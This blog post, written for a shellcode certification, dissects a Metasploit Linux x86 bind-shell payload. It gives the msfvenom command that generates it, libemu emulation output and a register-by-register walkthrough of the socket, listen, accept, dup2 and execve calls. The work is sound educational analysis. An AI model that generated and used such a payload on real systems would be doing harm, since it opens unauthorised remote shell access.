This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode
  • Present your analysis

Generate payload using msfvenom

We have checked the payload parameters.

> msfvenom -p linux/x86/shell_bind_tcp_random_port --payload-options
 
Options for payload/linux/x86/shell_bind_tcp_random_port:
 
 
       Name: Linux Command Shell, Bind TCP Random Port Inline
     Module: payload/linux/x86/shell_bind_tcp_random_port
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 57
       Rank: Normal
 
Provided by:
    Geyslan G. Bem <[email protected]>
 
Description:
  Listen for a connection in a random port and spawn a command shell.
  Use nmap to discover the open port: 'nmap -sS target -p-'.

We generated the payload using msfvenom. We analysed the shellcode using libemu.

> msfvenom -p linux/x86/shell_bind_tcp_random_port | /opt/libemu/bin/sctest -vvv -Ss 10000 -G shell_bind_tcp_random_port.dot
 
graph file shell_bind_tcp_random_port.dot
verbose = 3
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
 
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 =>
         none;
     int addrlen = 0x00000002 =>
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb6 =>
           = "/bin//sh";
     const char * argv[] = [
           = 0xffffffff =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

We used libemu us to create a visual representation. There are 6 syscall in the program. We will discuss those syscall one by one.

Program flow

Syscall 1: socketcall:socket

By reviewing the visual, we understand it is socketcall:socket syscall and to create a socket (TCPIP).

  • EAX = 0x66 (socketcall)
  • EBX = 0x1 (socket)
  • ECX = pointer to socketcall:socket parameters
    • domain: 0x2 (AF_INET)
    • type: 0x1 (SOCK_STREAM)
    • protocol: 0x0 (IP)
  • syscall
    • int socketcall(int call, unsigned long *args);
    • int socket(int domain, int type, int protocol);
  • strace
    • socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

Syscall 2: socketcall:listen

By reviewing the visual, we understand it is socketcall:listen syscall and attempts to listen for connections on the socket.

  • EAX = 0x66 (socketcall)
  • EBX = 0x4 (listen)
  • ECX = pointer to socketcall:listen parameters
    • sockfd: 3 (socket return in Syscall 1)
    • backlog: 0
  • EDX = 0x1000 (4096)
  • syscall:
    • int socketcall(int call, unsigned long *args);
    • int listen(int sockfd, int backlog);
  • strace
    • listen(3, 0)

Syscall 3: socketcall:accept

By reviewing the visual, we understand it is socketcall:accept syscall and to accept a connection on the socket.

  • EAX = 0x66 (socketcall)
  • EBX = 0x5 (accept)
  • ECX = pointer to socketcall:accept parameters
    • sockfd: 3 (socket return in Syscall 1)
    • *addr: 0
    • *addrlen: 0x2
  • syscall
    • int socketcall(int call, unsigned long *args);
    • int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  • strace
    • accept(3, NULL, 0x2) = 4

Syscall 4: dup2

By reviewing the visual, we understand it is "dup2" syscall and to duplicate file descriptions.

  • EAX = 0x3f (dup2)
  • EBX = oldfd (4 = accept fd in Syscall 3)
  • ECX = newfd (3, 2, 1, 0 = fd3, stderr, stdout, stdin)
  • syscall: int dup2(int oldfd, int newfd);
  • strace
    • dup2(4, 3) = 3
    • dup2(4, 2) = 2
    • dup2(4, 1) = 1
    • dup2(4, 0) = 0

Syscall 5: "execve"

By reviewing the visual, we understand it is execve syscall and attempts to execute (`/bin//sh`).

  • EAX = 0xb (execve)
  • EBX = pointer to program (/bin//sh)
  • syscall: int execve(const char *filename, char *const argv[], char *const envp[]);
  • strace: execve("/bin//sh", NULL, NULL) = 0

Summary

  1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
    Open a socket
  2. listen(3, 0)
    Listen connection for a socket
  3. accept(3, NULL, 0x2) = 4
    Accept a connection
  4. dup2(4, 3) = 3 dup2(4, 2) = 2 dup2(4, 1) = 1 dup2(4, 0) = 0
    Dupicate file descripitors
  5. execve("/bin//sh", NULL, NULL) = 0
    Execute /bin//sh